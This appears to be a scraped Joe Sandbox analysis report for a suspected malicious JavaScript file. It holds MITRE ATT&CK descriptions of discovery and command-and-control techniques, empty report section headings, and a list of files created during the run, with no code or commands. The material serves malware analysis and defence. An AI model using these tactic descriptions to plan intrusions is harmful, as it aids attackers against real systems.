Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 22346161431640618987.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8f935a3b-666c-48f4-92e3-d20ad3f708c9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2384

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
22346161431640618987.js